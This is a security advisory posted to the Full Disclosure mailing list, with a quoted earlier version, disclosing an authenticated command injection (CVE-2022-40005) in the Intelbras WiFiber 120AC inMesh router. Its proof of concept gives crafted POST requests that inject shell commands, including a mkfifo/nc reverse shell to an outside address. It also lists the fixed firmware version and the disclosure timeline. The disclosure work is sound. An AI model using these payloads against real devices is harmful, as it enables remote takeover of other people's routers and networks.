Full Disclosure mailing list archives

Previous By Date Next
Previous By Thread Next

Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh

From: Thomas Weber <t.weber () cyberdanube com>
Date: Tue, 13 Dec 2022 17:59:41 +0100
CyberDanube Security Research 20221009-0
------------------------------------------------------------------------------- 
               title| Authenticated Command Injection
             product| Intelbras WiFiber 120AC inMesh
  vulnerable version| 1.1-220216
       fixed version| 1-1-220826
          CVE number| CVE-2022-40005
              impact| High
            homepage| https://www.intelbras.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com
------------------------------------------------------------------------------- 

Vendor description
------------------------------------------------------------------------------- 
"We are Intelbras. A company that for 45 years has been offering innovative
solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an 
INspiration and a promising idea: to manufacture PABX centrals. During the
80's, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s 
were marked by the consolidation of the company in the telecommunications
segment and we became leaders in the PABX and telephone terminals segment. The 
turn of the millennium represented the search for greater connection and
proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing 
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.
We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our 
DNA, increasingly present in our daily lives. And it was only possible to
write a story so full of achievements because employees, partners and customers 
were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are


Vulnerable versions
------------------------------------------------------------------------------- 
WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview
------------------------------------------------------------------------------- 
1) Authenticated Command Injection (CVE-2022-40005)
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can 
be done by an attacker.


Proof of Concept
------------------------------------------------------------------------------- 
1) Authenticated Command Injection (CVE-2022-40005)
The web server is prone to an authenticated command injection via POST
parameters. The following proof-of-concept shows how to inject the command
"ls /" to the system which gets executed in the background:
=============================================================================== 
POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1
pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 =============================================================================== 

The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:
=============================================================================== 
POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1
proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 =============================================================================== 

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
------------------------------------------------------------------------------- 
Update to firmware version 1-1-220826.
https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip 


Workaround
------------------------------------------------------------------------------- 
None


Recommendation
------------------------------------------------------------------------------- 
CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline
------------------------------------------------------------------------------- 
2022-08-02: Contacting Intelbras via suporte () intelbras com br.
2022-08-03: Request from Intelbras to send the advisory to
csirt () intelbras com br; Sent the advisory to this address.
2022-08-30: Asked for status update; Vendor answered that the new firmware
            version has been released the day before. Set the disclosure date 
            to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

On 09.10.22 17:21, Thomas Weber wrote:

CyberDanube Security Research 20221009-0
------------------------------------------------------------------------------- 
               title| Authenticated Command Injection
             product| Intelbras WiFiber 120AC inMesh
  vulnerable version| 1.1-220216
       fixed version| 1-1-220826
          CVE number|
              impact| High
            homepage| https://www.intelbras.com
               found| 2022-08-01
                  by| T. Weber (Office Vienna)
                    | CyberDanube Security Research
                    | Vienna | St. Pölten
                    |
                    | https://www.cyberdanube.com
------------------------------------------------------------------------------- 

Vendor description
------------------------------------------------------------------------------- "We are Intelbras. A company that for 45 years has been offering innovative solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an INspiration and a promising idea: to manufacture PABX centrals. During the 80's, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s 
were marked by the consolidation of the company in the telecommunications
segment and we became leaders in the PABX and telephone terminals segment. The 
turn of the millennium represented the search for greater connection and
proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing 
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.
We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our 
DNA, increasingly present in our daily lives. And it was only possible to
write a story so full of achievements because employees, partners and customers 
were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are


Vulnerable versions
------------------------------------------------------------------------------- 
WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview
------------------------------------------------------------------------------- 
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can 
be done by an attacker.


Proof of Concept
------------------------------------------------------------------------------- 
1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. The following proof-of-concept shows how to inject the command 
"ls /" to the system which gets executed in the background:
=============================================================================== 
POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1
pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 =============================================================================== 

The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:
=============================================================================== 
POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1
proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 ===============================================================================
The vulnerability was manually verified on an emulated device by using the 
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
------------------------------------------------------------------------------- 
Update to firmware version 1-1-220826.
https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip 


Workaround
------------------------------------------------------------------------------- 
None


Recommendation
------------------------------------------------------------------------------- 
CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline
------------------------------------------------------------------------------- 
2022-08-02: Contacting Intelbras via suporte () intelbras com br.
2022-08-03: Request from Intelbras to send the advisory to
csirt () intelbras com br; Sent the advisory to this address.
2022-08-30: Asked for status update; Vendor answered that the new firmware             version has been released the day before. Set the disclosure date 
            to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022

Attachment: smime.p7s
Description: S/MIME Cryptographic Signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Previous By Date Next
Previous By Thread Next

Current thread: